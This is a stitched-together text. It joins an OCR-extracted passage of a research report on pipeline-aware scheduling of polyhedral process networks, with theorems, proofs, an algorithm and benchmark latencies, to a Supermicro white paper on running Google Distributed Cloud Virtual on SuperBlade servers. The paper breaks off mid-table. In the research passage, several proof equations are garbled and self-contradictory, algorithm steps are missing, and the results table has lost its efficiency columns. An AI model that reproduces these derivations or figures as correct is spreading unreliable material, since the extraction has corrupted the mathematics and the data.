In particular, when the chain is restricted to a single dependence (\( n = 2 \)), we consider the latency of the source iteration: \( \lambda(c) = \delta_{\omega_1} \). While the dependence chain is completed, a certain number of independent iterations must be executed. Hence the notion of distance:
**Definition 3.4 (Distance).** The distance between two iterations \( i \) and \( j \) of process \( S \) is the number of iterations of \( S \) executed between \( i \) and \( j \):
\[
\Delta_S(i, j) = \text{card}\{t_S(k) \mid t_S(i) \leq t_S(k) < t_S(j)\}
\]
We focus on the case where \( \langle S, i \rangle \xrightarrow{d} \langle S, j \rangle \). In that case, \( \Delta_S(i, j) \) is called the dependence distance. We can now define our optimality condition:
**Definition 3.5 (Condition (C)).** The condition \( (C) \) is defined as follows: For each dependence chain \( c : \langle S, i \rangle \rightarrow \ldots \rightarrow \langle S, j \rangle \):
\[
\Delta_S(i, j) \geq \lambda(c)
\]
This expresses whatever the dependence chain \( c \) from iteration \( i \) to \( j \) of process \( S \): meanwhile it is complete, the process \( S \) never waits, since it has more iterations to execute (\( \Delta_S(i, j) \)) than the latency of \( c (\lambda(c)) \). We now prove the main result.
**Theorem 3.1 (C) is a necessary condition for the optimality of \( t \):**
\[
t \text{ is optimal } \implies (C)
\]
**Proof.** Consider a data dependence chain \( c : \langle S, i \rangle \rightarrow \omega_1 \ldots \rightarrow \omega_{n-1} \rightarrow \langle S, j \rangle \) and the control chain relating each side of \( c \) in \( S \):
\[
\langle S, i \rangle \xrightarrow{ctl} \langle S, i_1 \rangle \xrightarrow{ctl} \ldots \xrightarrow{ctl} \langle S, i_{n-1} \rangle \xrightarrow{ctl} \langle S, j \rangle.
\]
By definition, \( \Delta_S(i, j) = \ell \). By hypothesis, \( t \) is optimal. Hence,
\[
t_{s(i_{n-1})} + 1 = t_{s(i_{n-1})} + 2 = \ldots = t_f(i_{n-1}) + 1.
\]
Also, since \( t \) is optimal, the control dependence \( \langle S, i_{n-1} \rangle \xrightarrow{ctl} \langle S, j \rangle \) wins over the data dependence \( \omega_{n-1} \rightarrow \langle S, j \rangle \), we have
\[
t_{s(i_{n-1})} + 1 \geq t(\omega_{n-1}) + \delta_{\omega_{n-1}}.
\]
Hence:
\[
t_f(i_{n-1}) + \Delta_S(i, j) \geq t(\omega_{n-1}) + \delta_{\omega_{n-1}} - t_s(i_{n-1}) + t_f(i_{n-1}) + \delta_{\omega_{n-1}}.
\]
Subtracting \( t_{f(i_{n-1})} \) from each member, we obtain:
\[
\Delta_S(i, j) \geq t(\omega_{n-1}) - t_{f(i_{n-1})} + \delta_{\omega_{n-1}} = \lambda(c). \quad \square
\]
The converse is not true in general, it is possible to exhibit a counter example which verifies (C) while waiting for input data. We suspect that most of these examples can be transformed (by compacting and shifting the schedule) to be optimal.
**Sufficiency of \( (C) \)** We now show that \( (C) \) is sufficient under restricted conditions. The following lemma states that, when all the incoming data-dependences are local to the process (source iteration and target iteration belongs to the process), the control dependence always wins under \( (C) \):
**Lemma 3.2.** Consider an operation \( \langle S, i \rangle \) with a control dependence from \( \langle S, i \rangle : \langle S, i \rangle \xrightarrow{ctl} \langle S, j \rangle \) and a data dependence from \( \langle S, i \rangle : \langle S, i \rangle \xrightarrow{d} \langle S, j \rangle \). If \( (C) \), then the control dependence wins:
\[
t_{f(i)} + 1 \geq t_{f(i)} + \delta_S
\]
**Proof.** Starting from \( (C) \): \( \Delta_S(i, j) \geq \lambda(d) = \delta_S \), we obtain:
\[
\text{card}\{t_S(k) \mid t_S(i) \leq t_S(k) < t_S(j)\} \geq \delta_S \text{ (definition } \Delta_S)\). Let
\[
\langle S, i \rangle \xrightarrow{ctl} \langle S, i_1 \rangle \ldots \xrightarrow{ctl} \langle S, i_{n-1} \rangle = \langle S, i \rangle \xrightarrow{ctl} \langle S, j \rangle \text{ be the iterations of } S \text{ with dates } t_S(k) \text{ sorted in the control order.}
\]
Christophe Alias and Julien Rudeau
Pipeline-aware Scheduling of Polyhedral Process Networks
By definition of \( t_S, t_S(\tilde{i}') + 1 \geq t_S(\tilde{i}) + \ell = t_S(\tilde{i}) + \Delta_S(\tilde{i}, \tilde{j}). \) In turn, \( t_S(\tilde{i}') + \Delta_S(\tilde{i}, \tilde{j}) \geq t_S(\tilde{i}) + \delta_S \) (using \( (\cdot)' \)). Hence the result: \( t_S(\tilde{i}') + 1 \geq t_S(\tilde{i}) + \delta_S. \)
This implies that a pool of synchronization-free processes may be scheduled optimally provided \((C)\):
**Corollary 3.3.** If no data-dependence hold from \( T \) to \( S, S \neq T \): \( t \) is optimal \( \iff \) \((C)\)
Proof: The necessary part \( \Rightarrow \) is a direct sub-case of theorem 3.1. To show the sufficient part \( \Leftarrow \), consider an operation \( \langle S, \tilde{j} \rangle \) to be scheduled, all the incoming data dependences: \( \langle T_m, \tilde{i}_m \rangle \rightarrow \langle S, \tilde{j} \rangle \) for \( 1 \leq m \leq k \) and the incoming control dependence: \( \langle S, \tilde{i} \rangle \xrightarrow{ctl} \langle S, \tilde{j} \rangle \). By hypothesis, data dependences are local to processes: \( T_m = S \) for any \( 1 \leq m \leq k \). By Lemma 3.2, the control dependence wins: \( t_S(\tilde{i}) + 1 \geq t_m(\tilde{i}_m) + \delta_{tm} \) for any \( 1 \leq m \leq k \). Hence, \( \langle S, \tilde{i} \rangle \xrightarrow{ctl} \langle S, \tilde{j} \rangle \Rightarrow t_S(\tilde{i}) = t_S(\tilde{j}) + 1. \) This proves the optimality of \( t \). \( \Box \)
4 Our Algorithm
We build on the algorithm presented in [1] to define our pipeline-aware scheduling algorithm. The algorithm presented in [1] derives a pipeline-aware schedule for a perfect loop nest with uniform dependences. Conceptually, this may be view as a PPN with a single process and a restricted communication pattern. The challenge is to extend this algorithm to a PPN with communicating processes.
Starting from a perfect loop nest, [1] relies on a loop tiling with a concurrent starting hyperplane to schedule a number of independent iteration between the source and the target of a dependence. On Figure 1.(b), restricted to the domain of \( S \), this algorithm would find the tiling depicted with blue lines (plain and dotted) and would size the tile (size \( F \)) to tune the dependence distance so \( \Delta_S(i, j-1, i, j) \geq \delta_S \) (to ease the presentation, we choose \( \delta_S = 2 \)). Here, the concurrent starting hyperplane is given by the blue, dotted line (\( t_S = (0, 1) \)): Along that plane, all the iterations may be executed in parallel. In particular, they are independent and may feed the pipeline between the source and the target of a dependence.
This way, our algorithm would find the polyhedral schedule \( \theta(l_1, l_2, l, j) = (l_1, l_2, l, j). \) The schedule derived by [1] always verifies \((C)\), hence this algorithm always find an optimal schedule, according to Corollary 3.3.
We extend this algorithm to schedule the processes of a PPN. The main challenge is to enforce condition \((C)\): how to make sure that the dependence distance will be bigger that the dependence chain latency, whatever the dependence chain? How to deal with general dependence, not necessarily uniform as considered in [1]? We propose the extension depicted in Algorithm 1. First, we build a global tiling (1) minimizing the dependence distance, by applying the algorithm described in [5]. The result is a global tiling and schedule, which tends to execute a dependence target as close as possible to its source. This way, a process will tend to read a data as soon as possible after its production. This has the effect of reducing the global latency: on 1.(b), the bands separated by a thick blue line would be executed in a pipelined fashion: first \( S \), left band, then in parallel: \( S \) right band and \( T \) bottom band, finally: \( T \) top band. The remainder of our algorithm is as follows: for each process, we select a concurrent plane, or we build it if it does not exists (step 7). Finally, we prescribe an execution along the concuring hyperplane (step 8), similarly as [1]. Although Theorem 3.1 tells us that condition \((C)\) is necessary, we point out that \((C)\) is not sufficient in general. Hence, there is a priori no guarantee that our algorithm will reach an optimal schedule, when it exists. In practice, our algorithm improves significantly the pipeline efficiency of PPN, as show in the next section.

<table>
<thead>
<tr>
<th>Algorithm 1: Pipeline-aware scheduling algorithm, Polyhedral process network</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Input</strong>: A polyhedral process network</td>
</tr>
<tr>
<td><strong>Output</strong>: A pipeline-aware schedule affine-per-process ( \theta )</td>
</tr>
<tr>
<td>1 Find a global tiling ( \phi^S := (\phi^S_1, \ldots, \phi^S_n) ) minimizing the dependences distances, for each process ( S )</td>
</tr>
<tr>
<td>2 foreach process ( S ) do</td>
</tr>
<tr>
<td>3 if ( \phi^S ) has a concurrent start hyperplane ( \phi^S_k ) then</td>
</tr>
<tr>
<td>4</td>
</tr>
<tr>
<td>5 else</td>
</tr>
<tr>
<td>6</td>
</tr>
<tr>
<td>7 end</td>
</tr>
<tr>
<td>8 Set the process schedule ( \theta_S(\tilde{l}, \tilde{i}) := (\tilde{l}, \phi^S_1(\tilde{i}), \ldots, \phi^S_{n-2}(\tilde{i}), \phi^S_n(\tilde{i}), \phi^S_{n-1}(\tilde{i})) )</td>
</tr>
<tr>
<td>9 end</td>
</tr>
</tbody>
</table>
On our example, our algorithm would find the tiling hyperplanes:
\[
\phi^S_1(i, j) = i \quad \phi^S_2(i, j) = j \\
\phi^S_3(i, j) = j \quad \phi^S_4(i, j) = i
\]
Tiling hyperplane \( \phi^S_2 \) (resp. \( \phi^S_4 \)) has a concurrent start on \( S \) (resp. \( T \)), its represented with dotted line on \( D_S \). Hence, our
algorithms produces the schedules \( \theta_S(I_1, I_2, i, j) = (I_1, I_2, j, i) \) and \( \theta_T(I_1, I_2, i, j) = (I_1, I_2, j, i) \), which happens to be the same here. The tile size \( T_i \) is set to the pipeline depth \( m \) to enforce \( (C) \). The order prescribed by \( \theta_S \) and \( \theta_T \) is depicted with dashed black arrows. This schedule is optimal: once \( S \) and \( T \) are started, they will not have to wait for an input data. Note that the very first iteration of \( T \) have to wait for \( S \) to be started. This fits with our definition of optimality which concerns all the iterations of a process but the first one.
5 Experimental Evaluation
This section presents the experimental results obtained on the benchmarks of the polyhedral community. We show that, in practice, our algorithm reduce significantly the overall PPN latency while improving the pipeline efficiency.
Experimental Setup We have run our algorithm on the kernels of PolyBench/C v3.2 [15], a benchmark suite with compute-intensive linear algebra kernels from the polyhedral model community. For each kernel, we generate a polyhedral process network using our dcc compiler. dcc applies a dataflow analysis, an array expansion, and then restructures the communications to comply with the PPN channel policy (one channel per couple producer/read) as described in [17]. Then, the channels are typed depending on the communication pattern (FIFO, etc) and sized as explained in Section 2.
We designed a lightweight simulator which, given an execution trace for each process, computes the dataflow schedule \( t \) (as defined in Section 3) and deduces the global latency of the PPN. The execution trace is provided for a fixed value of input size (referred to as structure parameter \( N \) in Section 2), generally the input matrices/vectors size. For each kernel, we analyze the trace obtained with the original execution order (base) and the trace obtained after applying our pipeline-aware scheduling (ours). Finally, we compute the pipeline efficiency for each process \( P \) with:
\[
eff_P = 1 - \frac{\text{bubbles}_P}{t_{\text{max}}^P - t_{\text{min}}^P + \delta_P}
\]
Where bubbles is the total number of waiting cycles given the sequence of dates \( t_{i}^P = t_1, \ldots, t_t = t_{t}^P \) obtained for \( P \), bubbles is simply the sum of “gaps” \( \sum_{i>0}t_i - t_{i-1} + 1 \). The global efficiency is then defined by the average of the \( \eff \) for each process \( P \), pondered by its number of iterations.
The results are depicted in Table 1 and Figures 3(a) and (b). Figure (a) gives the latency obtained after scheduling the PPN with our algorithm. The latency is normalized, i.e. expressed an percent of base latency – the smaller, the better. Finally, Figure (b) present the pipeline efficiency obtained on the base PPN (blue bar) and the PPN optimized with our algorithm (yellow bar) – the bigger, the better.
Results Globally, our algorithm succeeds to reduce significantly the overall latency and to improve the pipeline efficiently. In average, the latency is reduced by 32% and the pipeline efficiency is improved by 30%. Not surprisingly, the optimal is almost never reached except for the gemm kernel. gemm is a classical BLAS [13] function, that computes \( C := \alpha AB + \beta C \) where capital letter denotes matrices and Greek letters denotes constants. Its PPN consists of two process: one process computing \( \beta \)C, which forwards its result to a process computing \( \alpha \)AB and the final summation. We are in the same case as our motivating example, with forward dependences (no cycles between processes), and several parallel accumulation (one per element of \( C \)) where an orthogonal tiling composed with a loop permutation allow to reach an optimal schedule. On syrk, the performances are downgraded. This due to the structure of the iteration domain, which is triangular. The base version was already optimized, and performs well until the upper vertex of the triangle is reached, causing pipeline stalls since then the dependence distance become smaller than the pipeline depth. On the tiled version, there is no one, but several such small triangles on the borders of the iteration domain (due to the tiling), each triangle reproducing the same pipeline stalls.
<table>
<thead>
<tr>
<th>Kernel</th>
<th>Latency (cycles)</th>
<th>Pipeline efficiency (%)</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Base</td>
<td>Ours</td>
</tr>
<tr>
<td>2mm</td>
<td>2066</td>
<td>712</td>
</tr>
<tr>
<td>3mm</td>
<td>3487</td>
<td>787</td>
</tr>
<tr>
<td>atax</td>
<td>246</td>
<td>229</td>
</tr>
<tr>
<td>cholesky</td>
<td>239</td>
<td>201</td>
</tr>
<tr>
<td>correlation</td>
<td>1124</td>
<td>904</td>
</tr>
<tr>
<td>covariance</td>
<td>1319</td>
<td>1023</td>
</tr>
<tr>
<td>dotgen</td>
<td>14855</td>
<td>13319</td>
</tr>
<tr>
<td>floyd-warshall</td>
<td>679</td>
<td>655</td>
</tr>
<tr>
<td>gemm</td>
<td>1859</td>
<td>515</td>
</tr>
<tr>
<td>gemver</td>
<td>474</td>
<td>238</td>
</tr>
<tr>
<td>gesummv</td>
<td>239</td>
<td>71</td>
</tr>
<tr>
<td>lu</td>
<td>255</td>
<td>246</td>
</tr>
<tr>
<td>mvt</td>
<td>231</td>
<td>207</td>
</tr>
<tr>
<td>symm</td>
<td>743</td>
<td>239</td>
</tr>
<tr>
<td>syrk</td>
<td>333</td>
<td>363</td>
</tr>
<tr>
<td>trisolv</td>
<td>105</td>
<td>99</td>
</tr>
<tr>
<td>trmm</td>
<td>739</td>
<td>308</td>
</tr>
</tbody>
</table>
Table 1. Detailed results
6 Conclusion
In this paper, we have proposed an algorithm for pipeline-aware scheduling of a polyhedral process network. This is, as far as we know, the first algorithm ever to solve this problem on polyhedral process networks. With our algorithm the pipeline stalls are reduced and the process tends to be executed without waiting for input data. We also developed a theoretical study of pipeline-aware scheduling and we prove a necessary condition \( (C) \) on the schedule so the optimal execution is reached. We also prove this condition to be sufficient on a restricted case, corresponding to the algorithm.
presented in [1], that we show to be optimal. Experimental results show that, in practice, our algorithm reduces the overall latency of a PPN and improve significantly the pipeline efficiency of processes.
In the future, we plan to extend our theoretical study with a less restricted hypothesis on the PPN structure so \( (C) \) becomes sufficient. In some cases, a non-optimal schedule verifying \( (C) \) may be transformed to an optimal schedule with date shifting and compaction. We plan to identify formally such cases and to mechanize this transformation.
**References**
Pipeline-aware Scheduling of Polyhedral Process Networks
Christophe Alias*, Julien Rudeau†
Project-Team Cash
Research Report n° 9314 — December 2019 — 7 pages
Abstract: The polyhedral model is a well known framework to develop accurate and optimal automatic parallelizers for high-performance computing kernels. It is progressively migrating to high-level synthesis through polyhedral process networks (PPN), a dataflow model of computation which serves as intermediate representation for high-level synthesis. Many locks must be overcome before having a fully working polyhedral HLS tool, both from a front-end (C → PPN) and back-end (PPN → FPGA) perspective. In this report, we propose a front-end scheduling algorithm which reorganizes the computation of processes to maximize the pipeline efficiency of the processes’ arithmetic operators. We show that our approach improve significantly the overall latency as well as the pipeline efficiency.
Key-words: High-level synthesis, local scheduling, pipeline efficiency, polyhedral process networks
* Inria/ENS-Lyon/UCBL/CNRS
† Inria/ENS-Lyon/UCBL/CNRS
Pipeline-aware Scheduling of Polyhedral Process Networks
Résumé : Le modèle polyédrique est un framework mature pour développer des paralléliseurs automatiques précis et efficaces pour le calcul haute-performance. Il migre progressivement vers la synthèse de circuits haut-niveau (High-Level Synthesis, HLS) à travers le formalisme des Polyhedral Process Networks (PPN), un modèle de calcul dataflow qui sert de représentation intermédiaire pour la synthèse de circuits haut-niveau. Beaucoup de verrous doivent encore être résolus avant d’avoir un outil de HLS polyédrique opérationnel, autant sur les aspects front-end (C → PPN) que back-end (PPN → FPGA). Dans ce rapport, nous proposons un algorithme d’ordonnancement front-end qui réorganise le calcul des processus de façon à améliorer l’efficacité du pipeline du chemin de données pour chacun des processus. Les résultats expérimentaux montrent une amélioration significative de la latence globale du circuit et de l’efficacité moyenne des pipelines.
Mots-clés : Synthèse de circuits haut-niveau, ordonnancement, pipeline, polyhedral process networks
|
{"Source-Url": "http://perso.ens-lyon.fr/christophe.alias/mp/2019/RR-9314.pdf", "len_cl100k_base": 9880, "olmocr-version": "0.1.49", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 38583, "total-output-tokens": 12133, "length": "2e13", "weborganizer": {"__label__adult": 0.0005469322204589844, "__label__art_design": 0.0008220672607421875, "__label__crime_law": 0.0004868507385253906, "__label__education_jobs": 0.0008797645568847656, "__label__entertainment": 0.00015532970428466797, "__label__fashion_beauty": 0.0002932548522949219, "__label__finance_business": 0.0004489421844482422, "__label__food_dining": 0.0005879402160644531, "__label__games": 0.0011510848999023438, "__label__hardware": 0.00759124755859375, "__label__health": 0.0010776519775390625, "__label__history": 0.0005164146423339844, "__label__home_hobbies": 0.0002435445785522461, "__label__industrial": 0.0016841888427734375, "__label__literature": 0.0002574920654296875, "__label__politics": 0.0005583763122558594, "__label__religion": 0.00102996826171875, "__label__science_tech": 0.39599609375, "__label__social_life": 0.00010204315185546876, "__label__software": 0.00720977783203125, "__label__software_dev": 0.576171875, "__label__sports_fitness": 0.0004863739013671875, "__label__transportation": 0.0014944076538085938, "__label__travel": 0.0003285408020019531}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 41270, 0.03923]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 41270, 0.23572]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 41270, 0.81184]], "google_gemma-3-12b-it_contains_pii": [[0, 90, false], [90, 90, null], [90, 5065, null], [5065, 11972, null], [11972, 16411, null], [16411, 22936, null], [22936, 28575, null], [28575, 34760, null], [34760, 39054, null], [39054, 40162, null], [40162, 41270, null], [41270, 41270, null]], "google_gemma-3-12b-it_is_public_document": [[0, 90, true], [90, 90, null], [90, 5065, null], [5065, 11972, null], [11972, 16411, null], [16411, 22936, null], [22936, 28575, null], [28575, 34760, null], [34760, 39054, null], [39054, 40162, null], [40162, 41270, null], [41270, 41270, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 41270, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 41270, null]], "pdf_page_numbers": [[0, 90, 1], [90, 90, 2], [90, 5065, 3], [5065, 11972, 4], [11972, 16411, 5], [16411, 22936, 6], [22936, 28575, 7], [28575, 34760, 8], [34760, 39054, 9], [39054, 40162, 10], [40162, 41270, 11], [41270, 41270, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 41270, 0.15789]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
027d9094aa21d3aca579c5674867e1d2c97d385f
|
Executive Summary
The transformative impact of the cloud on businesses has prompted a rapid migration and adoption of cloud-first strategies. As a result, many enterprises are looking into application modernization strategies to meet customer expectations, keep business operations agile, and accelerate innovation. Cloud-native application development empowers enterprises to capitalize on the full power of the cloud by delivering faster time to market, improved efficiency, increased scalability, and better consumer experiences while optimizing cost compared to legacy, on-premise development infrastructures. A cloud-native approach accelerates the application development lifecycle by consuming independent components called microservices, which break large monolithic applications into smaller components.
Cloud-native technologies empower organizations to build and run scalable applications in modern, dynamic public, private, and hybrid cloud environments. Modern cloud-native applications evolve rapidly; leveraging a hybrid cloud platform helps integrate variants of applications across different cloud platforms and/or on-prem environments.
Google Anthos™, now known as Google Distributed Cloud Virtual (GDC Virtual), is a hybrid cloud management platform that manages containers across multiple cloud platforms and legacy VM workloads.
Businesses can leverage the benefits of GDC Virtual by deploying it on a self-managed Supermicro® SuperBlade® environment to directly run cloud-native applications with CPU, GPU, and other hardware resources.
Drivers of On-Premises Cloud
The cloud has recently become popular for deploying new and existing applications. The simplicity and ease of using a service can offer significant time and cost optimization compared to building your own infrastructure. Many organizations are now adopting cloud-first strategies to leverage these advantages.
Cloud-native approaches are also increasing in popularity and encompass a broadening array of use cases from refactoring existing applications and/or creating container-based microservices architectures. The cloud can even run legacy applications while offering cost savings compared to on-prem deployment models.
Expanding cloud use cases empowers cloud-first organizations to run most of their application landscapes in the cloud, with fewer non-migratable exceptions. However, there is no one simple "lift-and-shift strategy" that meets the needs of every app. Thus, no large organization currently relies solely on modern, cloud-based applications; they must work the cloud into and around existing systems and applications, some of which do not support immediate migration to the cloud. These applications are often the mission-critical systems at the heart of an organization’s commercial operations.
The key drivers behind deciding to deploy an on-premises cloud may include:
- **Data security, compliance, and data sovereignty requirements**: Data sovereignty, security, and/or similar restrictions in place because of laws, security policies, or compliance rules may prohibit an application from running in the public cloud. This prescription often extends to Personally Identifiable Information (PII), medical, and/or other sensitive data.
- **Monolithic application design**: Some legacy application architectures don’t align with cloud computing pricing models and the resulting costs and timelines of refactoring prevent organizations from migrating to the cloud.
- **Demand for very low networking latency**: Highly transactional. Low-latency application systems (e.g., banking or transportation) take an unacceptable performance hit if they are too far away from their users, data, or the next-hop data processor in the application flow.
- **Protecting legacy infrastructure investments**: Enterprises often look to optimize costs by leveraging their existing data center investments in servers, networking equipment, and storage devices. Migrating from CapEx to OpEx is simply not viable when the application is economically best served on existing on-premises infrastructure.
A recent IDC survey reveals that half of the spending on server and storage infrastructure supports on-prem deployments. As shown in Figure 1, 71% of respondents expected to partially or fully move their workloads from a public cloud to a dedicated
IT environment in the next two years. IDC expects these investments to continue to grow at a compound annual growth rate of 2.9% for the next five years and reach $77.5 billion in 2026. Organizations keep investing in on-premises IT infrastructure because of control, cost, and predictability.

Figure 1 – Workload Repatriation Activity.
One application modernization strategy leverages on-premises cloud solutions such as GDC Virtual to extend cloud capabilities and services to an on-premises data center. This allows the application to leverage many of the advantages of cloud computing while maintaining consistent operations across locations.
GDC Virtual is especially interesting to organizations already using Google Cloud Platform while seeking a seamless solution for integrating their remaining on-premises applications into their cloud operations framework. GDC Virtual empowers organizations to derive the benefits of cloud-based architectures while significantly reducing the costs associated with a DIY approach across operations, lifecycle management, monitoring, and visibility—all traditionally difficult aspects of IT operations.
GDC Virtual can deploy both traditional and cloud-native applications. Figure 2 shows a single GDC Virtual cluster supporting deployments across multiple cloud platforms, such as Amazon AWS, Google Cloud, and Microsoft Azure. GDC Virtual also includes a bare metal deployment option that delivers many cloud benefits to self-managed Supermicro SuperBlade servers.
Supermicro SuperBlade Product Overview
Supermicro SuperBlade servers deliver advanced Bare-Metal-as-a-Service (BMaaS) solutions for the global multi-cloud (hybrid, private), AI inference, visual computing, Data Center, Enterprise, Big Data, and HPC markets. SuperBlade is an ideal platform to deploy Google Anthos for bare metal deployments. The following sections below form a solution stack that allows you to deploy a cloud-managed platform using Supermicro SuperBlade servers powered by Google Anthos. IT administrators can follow the procedure outlined in this section to deploy Google Anthos on bare metal on their on-prem environments.
**The Supermicro SuperBlade is powered by AMD EPYC™ Processors**
Supermicro’s new-generation blade portfolio helps optimize the TCO of key data center components, such as cooling, power efficiency, node density, and networking management. Supermicro SuperBlade, powered by 3rd Gen AMD EPYC processors, is built for the most demanding workloads that require high CPU density and the fastest networking available today in a trusted platform that meets enterprise customer demands for on-prem private/hybrid cloud deployments.
The Supermicro SuperBlade comes in an 8U enclosure that accommodates up to 20 hot-pluggable single socket nodes and delivers high performance with AMD EPYC 7003 Series Processors with AMD 3D V-Cache™ technology, DDR4 3200MHz memory, and fast PCIe® Gen4 I/O. Supermicro offers three SuperBlade models powered by AMD EPYC processors: a SAS model, a SATA model, and a GPU-accelerated model, all of which can be mixed in a single 8U enclosure. The 8U
SuperBlade can support up to 40 single-width GPUs or 20 double-width GPUs. SuperBlade SAS/SATA models support AIOM for front I/O, which extends the Open Compute Project 3.0 specification to support a wide range of networking options in a small form factor. The 8U SuperBlade also provides customers with advanced networking options, such as 200G HDR InfiniBand and 25G Ethernet switches.
Each SuperBlade enclosure contains at least one Chassis Management Module (CMM), which allows administrators to remotely manage and monitor server blades, power supplies, cooling fans, and networking switches. SuperCloud Composer (SCC) is a composable cloud management platform that provides a unified dashboard for administering software-defined data centers. SCC can orchestrate cloud workloads via the streamlined industry-standard Redfish API. SCC can also monitor and manage a broad portfolio of multi-generation Supermicro servers from a single pane of glass, including SuperBlade.
The AMD EPYC 7003 Series Processors with AMD 3D V-Cache technology shown below are built around the "Zen3" core and contain up to 64 cores per socket, delivering breakthrough per-core performance with 3X the L3 Cache (768 MBs per socket) of general purpose AMD EPYC 7003 CPUs. The Supermicro SuperBlade, powered with AMD EPYC 7003 processors, enables exceptional HPC performance thanks to high frequencies, core counts, high memory bandwidth and capacity, and 768MB of L3 cache.
<table>
<thead>
<tr>
<th>Processor</th>
<th>Cores</th>
<th>TDP (watts)</th>
<th>Base Freq/Max Boost Freq</th>
<th>Total L3 Cache</th>
<th>DDR Channels</th>
</tr>
</thead>
<tbody>
<tr>
<td>7373X</td>
<td>16</td>
<td>240</td>
<td>3.05 GHz / 3.8 GHz</td>
<td>768MB</td>
<td></td>
</tr>
<tr>
<td>7473X</td>
<td>24</td>
<td>240</td>
<td>2.8 GHz / 3.7 GHz</td>
<td>768MB</td>
<td></td>
</tr>
<tr>
<td>7573X</td>
<td>32</td>
<td>280</td>
<td>2.8 GHz / 3.6 GHz</td>
<td>768MB</td>
<td></td>
</tr>
<tr>
<td>7773X</td>
<td>64</td>
<td>280</td>
<td>2.2 GHz / 3.5 GHz</td>
<td>768MB</td>
<td></td>
</tr>
</tbody>
</table>
Supermicro GPU SuperBlade SBA-4119SG supports 3rd Gen AMD 7003 Series EPYC with 3D V-Cache technology processors and the AMD Instinct™ MI210 accelerators. These GPU-accelerated SuperBlade servers are ideal for running AI inference, visual computing, and HPC workloads. SuperBlade systems help organizations reduce time-to-solution for a wide range of applications, add advanced security features, and allow all workloads to run either on-prem or in a public or private cloud. Supermicro SuperBlade offers high density, excellent performance, high power efficiency, and low Total Cost of Ownership (TCO).
Solution Deployment Overview
GDC Virtual on bare metal brings Google Kubernetes Engine (GKE) to your on-premises data centers and allows you to build cloud-native workloads and manage legacy VMs. You can also leverage GDC Virtual to create, manage, and upgrade Kubernetes clusters in your data center. The deployment described in this white paper uses GDC Virtual 1.13.1 on bare metal.
GDC Virtual on bare metal supports various cluster types:
- **Admin Cluster**: For cluster administration only.
- **User Cluster**: For running workloads only.
- **Hybrid Cluster**: For administration and running workloads, and can also manage other user clusters.
- **Standalone Cluster**: For administration and running workloads, but cannot manage other user clusters.
Figure 3 shows a typical GDC Virtual hybrid cluster architecture deployment on a Supermicro SuperBlade platform where customers can choose SAS, SATA, and GPU accelerated SuperBlade nodes in an 8U enclosure. SuperBlade offers a "private cloud in a box feature" where you can mix and match CPU-only and GPU accelerated nodes in the same 8U enclosure. Customers can use SuperBlade to deploy the admin workstation that hosts command-line interface (CLI) tools and configuration files to provision clusters during installation and CLI tools for interacting with provisioned clusters post-installation. SuperBlade can also host the Control Plane node, including the Kubernetes API server, etcd storage, and other controllers. You can host the worker nodes that run the actual cloud native applications on CPU- and/or GPU-powered SuperBlade as needed for your workload(s).
The installation prerequisites are:
- **Supermicro SuperBlade**: The deployment described in this white paper requires five (5) SuperBlade servers. Table 1 lists the minimum and recommended requirements. This example uses the SBA-4119SG as a worker node. Table 2 lists the worker node hardware specifications.
- **GCP project**: The sample project described in this whitepaper has billing enabled on the GCP Platform.
- **Linux Administration Workstation**: A workstation used to deploy the GDC Virtual cluster. This example uses Ubuntu® 20.04.
- **Network**: The Admin Workstation and cluster worker nodes must be able to access Google Cloud APIs (e.g., *.googleapis.com).
- **Worker Node Operating System** – GDC Virtual supports supports CentOS (8.2, 8.3, 8.4, 8.5), RHEL (8.2, 8.3, 8.4, 8.5, 8.6), and Ubuntu (18.04, 20.04)
<table>
<thead>
<tr>
<th>Resource</th>
<th>Minimum</th>
<th>Recommended</th>
</tr>
</thead>
<tbody>
<tr>
<td>CPUs / vCPUs</td>
<td>4 cores</td>
<td>8 cores</td>
</tr>
<tr>
<td>RAM</td>
<td>16GB</td>
<td>32GB</td>
</tr>
<tr>
<td>Storage</td>
<td>128GB</td>
<td>256GB</td>
</tr>
</tbody>
</table>
*Table 1 - Minimum and recommended worker node hardware requirements*
**Worker Node Sample Config**
- **System**: Supermicro SuperBlade (AMD Powered Single-Socket GPU accelerated model)
- **Processor**: 3rd Gen AMD EPYC 7003 Series with AMD 3D V-Cache technology Processor (7473X - 24 Cores, 48T, 2.8GHz, 240W TDP)
<table>
<thead>
<tr>
<th>Part Type</th>
<th>Part #</th>
<th>Part Description</th>
<th>Qty</th>
</tr>
</thead>
<tbody>
<tr>
<td>System</td>
<td>SBA-4119SG</td>
<td>Supermicro SuperBlade (AMD Powered Single-Socket GPU accelerated model)</td>
<td>1</td>
</tr>
<tr>
<td>Processor</td>
<td>PSE-MLN7473X-0507</td>
<td>3rd Gen AMD EPYC 7003 Series with AMD 3D V-Cache technology Processor (7473X - 24 Cores, 48T, 2.8GHz, 240W TDP)</td>
<td>1</td>
</tr>
<tr>
<td>GPU</td>
<td>GPU-AMDMI210-001</td>
